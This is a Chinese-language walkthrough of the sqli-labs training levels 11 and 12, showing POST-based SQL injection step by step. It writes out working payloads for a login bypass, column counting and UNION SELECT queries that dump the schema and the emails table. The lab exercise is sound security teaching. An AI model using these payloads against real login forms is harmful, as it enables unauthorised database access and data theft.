sqli-labs less-11 --> less-12

Less-11（报错注入POST方式）

1.判断是否存在注入点

因为是POST 方式的与GET方式稍有不同，可以选择使用burp suite以及火狐的hackbar进行操作，直接在输入框username处输入admin密码随意，得到一个正确的回显

Username处输入admin’密码随意，出现报错

提示在123456处因为 ’ 出现错误，所以尝试在username处输入admin’ #（将密码及后面部分全部注释掉，即为：uname=admin' #&passwd=123456&submit=Submit）（这里不能用--+）

回显正确，判断存在注入点，注入方式为：’’

2.判断回显位数

uname=admin' order by 2#&passwd=1&submit=Submit  经过判断得到回显位数为2

3.爆数据库

uname=-admin' union select 1,database()#&passwd=1&submit=Submit

因为使用union，那么前面部分必须要不存在才行，得到数据库名字为security

4.爆表名

uname=-admin' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security' #&passwd=1&submit=Submit，如下图，得到数据库下的所有表名

5.爆字段

uname=-admin' union select group_concat(column_name) from information_schema.columns where table_name='emails' #&passwd=1&submit=Submit，发现出现了如下报错的提示：

使用的SELECT语句具有不同数量的列

经过检查发现：回显位是2，但是使用select语句时并没有用两个

修改为：uname=-admin' union select 1,group_concat(column_name) from information_schema.columns where table_name='emails' #&passwd=&submit=Submit

如下图，得到表emails下的所有字段

6.爆数据

uname=-admin' union select 1,group_concat(id) from emails #&passwd=&submit=Submit

如图，得到字段id下的所有数据

-------------------------------------------------------END----------------------------------------------------------------

Less-12（报错注入）

1.判断是否存在注入点

当执行admin 以及admin'时都未出现报错，而执行如下时，出现报错信息

uname=admin"&passwd=admin&submit=Submit

通过分析，当执行uname=admin")#&passwd=&submit=Submit时，回显正常，判断存在注入点，注入方式为：(“”)

2.判断回显位数

uname=admin") order by 2#&passwd=&submit=Submit，经过尝试得到回显位数为2

3.爆数据库

uname=-admin") union select 1,database()#&passwd=&submit=Submit，得到数据库名

4.爆表名

uname=uname=-admin") union select 1, group_concat(table_name) from information_schema.tables where table_schema='security'#&passwd=&submit=Submit

5.爆字段

uname=-admin") union select 1,group_concat(column_name) from information_schema.columns where table_name='uagent'#&passwd=&submit=Submit，表uagent中的数据为空，如下

6.爆数据

因为uagent里的数据都为空，所以还是选择爆emails，比较好观察

uname=-admin") union select 1,group_concat(email_id) from emails#&passwd=&submit=Submit

-------------------------------------------------------END----------------------------------------------------------------